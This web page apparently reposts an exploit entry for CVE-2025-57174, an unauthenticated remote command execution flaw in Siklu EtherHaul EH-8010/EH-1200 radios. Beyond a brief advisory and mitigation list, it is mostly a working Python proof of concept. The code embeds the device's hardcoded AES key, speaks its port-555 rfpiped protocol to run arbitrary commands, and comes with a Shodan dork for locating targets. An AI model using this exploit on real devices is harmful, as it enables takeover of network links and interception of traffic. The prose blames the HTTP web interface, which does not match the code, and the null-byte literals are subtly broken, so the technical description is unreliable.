Skip to main content

Siklu EtherHaul Series EH-8010 – Remote Command Execution

Categories: WebApps

Overview

The Siklu EtherHaul Series EH-8010 has a critical vulnerability identified as CVE-2025-57174, which allows for remote command execution (RCE). This security flaw can be exploited by attackers to execute arbitrary commands on the affected devices, posing significant risks to the integrity and confidentiality of network communications.

Technical Details

This vulnerability arises from improper input validation in the web management interface of the EtherHaul EH-8010. An attacker can send specially crafted HTTP requests to the device, which may lead to the execution of malicious commands on the underlying operating system. The lack of adequate authentication mechanisms further exacerbates this issue, allowing unauthorized users to gain control over the device remotely.

For example, an attacker could exploit this vulnerability to alter configurations, intercept data traffic, or even deploy additional malware on the network. The attack vector is particularly concerning as it does not require physical access to the device, making it a prime target for remote exploitation.

Impact

If successfully exploited, CVE-2025-57174 could lead to severe consequences, including data breaches and service disruptions. Organizations relying on the Siklu EtherHaul EH-8010 for critical communication may find themselves vulnerable to unauthorized access, potentially compromising sensitive information and undermining trust in their network infrastructure.

Mitigation

To protect against this vulnerability, organizations should immediately assess their deployment of the Siklu EtherHaul EH-8010 and implement the following mitigation strategies:

  • Firmware Updates: Regularly check for and apply firmware updates from Siklu that address this vulnerability.
  • Network Segmentation: Isolate vulnerable devices within a separate network segment to minimize exposure to potential attacks.
  • Access Controls: Strengthen access controls and authentication mechanisms to ensure only authorized personnel can interact with the device.

Furthermore, conducting regular security audits and penetration testing can help identify and remediate vulnerabilities before they can be exploited. Staying informed about emerging threats and vulnerabilities is crucial for maintaining a robust cybersecurity posture.

Proof of Concept (PoC)

poc.py
# Exploit Title:Siklu EtherHaul Series EH-8010 - Remote Command Execution
# Shodan Dork: "EH-8010" or "EH-1200"
# Date: 2025-08-02
# Exploit Author: semaja2 - Andrew James <[email protected]>
# Vendor Homepage: https://www.ceragon.com/products/siklu-by-ceragon
# Software Link: ftp://ftp.bubakov.net/siklu/
# Version:  EH-8010 and EH-1200 Firmware 7.4.0 - 10.7.3
# Tested on: Linux
# CVE: CVE-2025-57174
# Blog: https://semaja2.net/2025/08/02/siklu-eh-unauthenticated-rce/

#!/usr/bin/env python3
import argparse, socket, struct
from Crypto.Cipher import AES

PORT = 555
HDR_LEN = 0x90
IV0 = struct.pack('<4I', 0xEA703B82, 0x75A9A17B, 0x1DFC7BB9, 0x55A24D72)
KEY = bytes([
    0x89,0xE7,0xFF,0xBE,0xEB,0x2D,0x73,0xF5,
    0xA9,0x10,0xFC,0x42,0x5B,0x1F,0x36,0x17,
    0x9F,0xB9,0x5E,0x75,0x35,0xA3,0x42,0xA0,
    0x5D,0x02,0x48,0xB1,0x19,0xD2,0x4B,0x82
])

def recv_exact(sock: socket.socket, n: int) -> bytes:
    out = bytearray()
    while len(out) < n:
        chunk = sock.recv(n - len(out))
        if not chunk:
            raise ConnectionError('socket closed')
        out += chunk
    return bytes(out)

def pad16_zero(b: bytes) -> bytes:
    r = len(b) & 0x0F
    return b if r == 0 else (b + b'x00' * (16 - r))

def hdr_checksum(hdr: bytes) -> int:
    return (sum(hdr[0:0x0C]) + sum(hdr[0x10:HDR_LEN])) & 0xFFFFFFFF

def build_header(flag: int, msg: int, payload_len: int) -> bytes:
    hdr = bytearray(HDR_LEN)
    hdr[0] = flag & 0xFF
    hdr[1] = msg & 0xFF
    struct.pack_into('<I', hdr, 0x08, payload_len & 0xFFFFFFFF)
    struct.pack_into('<I', hdr, 0x0C, hdr_checksum(hdr))
    return bytes(hdr)

class RFPipeSession:
    def __init__(self, key: bytes, iv0: bytes):
        self.key = key
        self.send_iv = iv0
        self.recv_iv = iv0
    def enc_send(self, sock: socket.socket, data: bytes) -> None:
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.send_iv)
        ct = cipher.encrypt(data)
        self.send_iv = ct[-16:]
        sock.sendall(ct)
    def dec_recv(self, sock: socket.socket, n_plain: int) -> bytes:
        if n_plain <= 0:
            return b''
        n_padded = (n_plain + 15) & ~15
        ct = recv_exact(sock, n_padded)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt[:n_plain]
    def send_header(self, sock: socket.socket, hdr_plain: bytes) -> None:
        if len(hdr_plain) != HDR_LEN:
            raise ValueError('header must be 0x90 bytes')
        self.enc_send(sock, hdr_plain)
    def recv_header(self, sock: socket.socket) -> bytes:
        ct = recv_exact(sock, HDR_LEN)
        cipher = AES.new(self.key, AES.MODE_CBC, iv=self.recv_iv)
        pt = cipher.decrypt(ct)
        self.recv_iv = ct[-16:]
        return pt

def connect_any(host: str, port: int) -> socket.socket:
    infos = socket.getaddrinfo(host, port, socket.AF_UNSPEC, socket.SOCK_STREAM)
    last_err = None
    for fam, st, proto, _, sa in infos:
        s = socket.socket(fam, st, proto)
        try:
            s.connect(sa)
            return s
        except Exception as e:
            last_err = e
            s.close()
    raise ConnectionError(f'connect failed: {last_err}')

def main():
    ap = argparse.ArgumentParser(description='rfpiped command client (msg 0x01)')
    ap.add_argument('target', help='IPv4/IPv6 address')
    ap.add_argument('command', help='command string (e.g., "mo-info system")')
    ap.add_argument('--nul', action='store_true', help='append NUL terminator to command')
    ap.add_argument('--recv', action='store_true', help='receive and print response')
    args = ap.parse_args()

    payload = args.command.encode('utf-8')
    if args.nul:
        payload += b'x00'

    hdr_plain = build_header(flag=0x00, msg=0x01, payload_len=len(payload))
    sess = RFPipeSession(KEY, IV0)

    with connect_any(args.target, PORT) as s:
        sess.send_header(s, hdr_plain)
        if payload:
            sess.enc_send(s, pad16_zero(payload))
        if args.recv:
            rh = sess.recv_header(s)
            flag = rh[0]; rmsg = rh[1]
            rlen = struct.unpack_from('<I', rh, 0x08)[0]
            print(f'Response: flag=0x{flag:02x} msg=0x{rmsg:02x} length={rlen}')
            if rmsg in (0x03, 0x05):
                return
            if rlen:
                body = sess.dec_recv(s, rlen)
                if body.endswith(b'x00'):
                    body = body[:-1]
                try:
                    print(body.decode('utf-8', errors='replace'))
                except Exception:
                    print(body.hex())

if __name__ == '__main__':
    main()

Security Disclaimer

This exploit is provided for educational and authorized security testing purposes only. Unauthorized access to computer systems is illegal and may result in severe legal consequences. Always ensure you have explicit permission before testing vulnerabilities.

sh3llz@loading:~$
Loading security modules...